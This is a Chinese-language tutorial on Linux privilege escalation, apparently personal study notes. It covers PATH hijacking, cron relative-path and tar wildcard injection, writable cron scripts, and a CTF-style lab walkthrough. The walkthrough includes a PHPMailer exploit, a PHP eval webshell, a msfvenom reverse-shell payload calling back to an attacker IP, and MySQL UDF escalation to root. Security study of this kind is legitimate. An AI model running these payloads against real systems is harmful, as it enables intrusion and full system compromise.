权限提升-Linux定时任务&环境变量&数据库

QQ截图20220512095039.jpg

linux提权本地环境变量安全

测试以后大部分不存在该漏洞,属于没啥用

#include<unistd.h>
void main()
{
    setuid(0);
    setgid(0);
    system("ps");
}

执行命令

cd /tmp
gcc demo.c -o shell
cp /bin/sh /tmp/ps
export PATH=/tmp:$PATH
./ps
chmod u+s shell
./shell
id
  • 复制文件cp /bin/sh /tmp/ps,ps命令本来是用于显示当前进程的状态,复制后执行./ps就变成了执行sh命令

QQ截图20220512101808.jpg

  • 增加环境变量export PATH=/tmp:$PATH环境变量里新增/tmp目录,此时执行ps命令就相当于直接执行sh命令了

QQ截图20220512101822.jpg

  • 执行触发chmod u+s shell,./shell执行触发demo.c里面的ps命令,成功提权

QQ截图20220512101833.jpg

linux提权本地定时任务安全

路径问题导致提权

利用计划任务指向的文件的相对路径解析问题

  • 执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个test.sh任务没有写绝对路径,而且是以root权限运行的

QQ截图20220512102927.jpg

  • 定时任务中的test.sh没有写绝对路径,但我们知道它默认就是调用/usr/local/bin目录下test.sh

  • 打开看一下,发现此定时任务是每隔一分钟将系统日期写入/tmp/time.log,等1分钟,发现确实/tmp目录下生成了time.log,内容是当前时间

date >> /tmp/time.log
  • 提权方法就是在用户目录下写入一个与test.sh同名的文件,执行,此时定时任务以root身份调用的就是我们写的/home/xiaodi/test.sh,而不是系统原来的/usr/local/bin/test.sh,从而提权
echo 'cp bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/xiaodi/test.sh
chmod +x /home/xiaodi/test.sh
/tmp/bash

命令问题导致提权

利用通配符配合命令参数自定义命令实现提权

  • 查看当前系统的定时任务,发现一个名为backup.sh的备份定时任务,而且是以root权限运行的

QQ截图20220512103349.jpg

  • 定时任务每分钟执行一次,打开backup.sh发现是将/home/undead/script目录下的所有文件打包为backup.tar.gz,并放到/tmp目录下
#backup.sh
cd /home/undead/script;tar czf /tmp/backup.tar.gz *
  • 使用以下命令在/home/undead/script目录下创建3个文件
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/undead/script/test.sh
echo "" > "--checkpoint-action=exec=sh test.sh"
echo "" > --checkpoint=1
  • 系统定时任务执行,打包,打开/tmp目录查看,发现test.sh等文件打包为一个backup.tar.gz文件,但我们刚才创建的另外两个文件并未在backup.tar.gz中,而是另外生成了一个bash文件
  • 原因是定时任务打包时使用了*将整个文件夹下的文件打包,而当系统真正执行打包操作时,会将目录下的所有文件名一个一个传参给*执行打包操作。前几个文件都没问题,但是当打包到--checkpoint=1文件和--checkpoint-action=exec=sh test.sh文件时,执行的相当于tar czf /tmp/backup.tar.gz --checkpoint=1 --checkpoint-action=exec=sh test.sh
  • --checkpoint,--checkpoint-action正好是tar命令的参数,打包到这里就会导致tar命令直接把--checkpoint=1--checkpoint-action=exec=sh test.sh两个文件名当做参数执行,而不打包文件.--checkpoint-action=exec=sh test.sh参数的意思是执行同目录下test.sh文件,test.sh文件内容又是把/bin/bash拷贝给/tmp/bash并给/tmp/bash赋SUID权限。此时我们再执行/tmp/bash就享有了suid权限
  • 有个前提是至少要有备份目录的可写权限
./bash -p
id

QQ截图20220512105050.jpg

权限问题导致提权

利用不安全的权限分配操作导致的定时文件覆盖

  • 管理员正常创建一个文件test.sh时,默认是没有执行权限的,此时管理员若想执行这文件,必须给它赋执行权限,正常的赋权命令是chmod +x test.sh,这样就可以执行test.sh并且组和其他成员无法修改覆盖这个文件(即写权限),但是粗心的管理员会直接chmod 777 test.sh,这样虽然也可以实现执行test.sh的目的,但是会导致权限扩大,即组和其他成员都可以对文件修改覆盖

执行cat /etc/crontab命令,查看当前系统的定时任务,发现一个名为check.sh的定时任务,而且是以root权限运行的

QQ截图20220512105257.jpg

QQ截图20220512105308.jpg

  • 测试check.sh文件是否有权限问题。可以以普通用户身份直接修改check.sh文件,如果能修改成功,说明存在权限问题
  • 可以模仿上述方法,直接写入命令到定时任务check.sh从而成功提权
  • 等待定时任务执行后,执行/tmp/bash -p,提权成功
cp /bin/bash /tmp/bash; chmod +s /tmp/bash

linux提权第三方服务数据库MYSQL

扫描获得信息

QQ截图20220512132023.jpg

nmap -sV -O 192.168.50.0/24
nmap -p- 192.168.50.187

扫描目录,发现目录遍历

QQ截图20220512131840.jpg

dirb http://192.168.50.187/

QQ截图20220512142432.jpg

QQ截图20220512132212.jpg

发现第一个flag和PHPMailer

QQ截图20220512142225.jpg

QQ截图20220512142542.jpg

尝试利用

searchsploit PHPMailer
searchsploit -p php/webapps/40974.py

QQ截图20220512132807.jpg

选择40974.py,并修改exp

QQ截图20220512143917.jpg

访问后面反弹shell

QQ截图20220512144055.jpg

在上级目录发现flag2

QQ截图20220512144304.jpg

写入后门获得shell

echo '<?php @eval($_POST[777]);?>' > 1.php

可以利用python获得持久化shell

python -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
python -c 'import pty;pty.spawn("/bin/sh")'
python3 -c 'import pty;pty.spawn("/bin/sh")'

也可以尝试反弹到meterpreter

生成后门
msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.50.22 lport=4444 -f elf -o shell.elf

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set LHOST 0.0.0.0
set LPORT 4444
run

发现数据库运行

QQ截图20220512150154.jpg

QQ截图20220512150053.jpg

进入数据库后发现该参数为空字符串,mysql运行权限为root

QQ截图20220512151314.jpg

searchsploit 从 exploit-db 中搜索相关的 exploit

searchsploit mysql udf
searchsploit -m linux/local/1518.c

QQ截图20220512151714.jpg

在kali中编译好文件后上传

mv 1518.c raptor_udf2.c
gcc -g -c raptor_udf2.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

QQ截图20220512152731.jpg

根据注释中的命令进行

mysql -uroot -pR@v3nSecurity
use wordpress;
create table foo(line blob);
insert into foo values(load_file('/var/www/html/1518/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select * from mysql.func;
select do_system('chmod u+s /usr/bin/find');

查看find命令,权限已经被改变

QQ截图20220512154311.jpg

touch 1997sty
find 1997sty -exec /bin/sh \;

QQ截图20220512154440.jpg

找到flag3和flag4

find ./ -iname 'flag*'

QQ截图20220512155423.jpg

QQ截图20220512155112.jpg

linux提权提升简单总结

  1. 提权环境,信息收集(主要关注:SUID,定时任务,可能漏洞,第三方服务应用等)
  2. 最新相关漏洞要明确(关注点),二次开发相关脚本学会展望(四个脚本)
  3. 本地searchsploit脚本及远程exploitdb站点搜索说明(简要使用)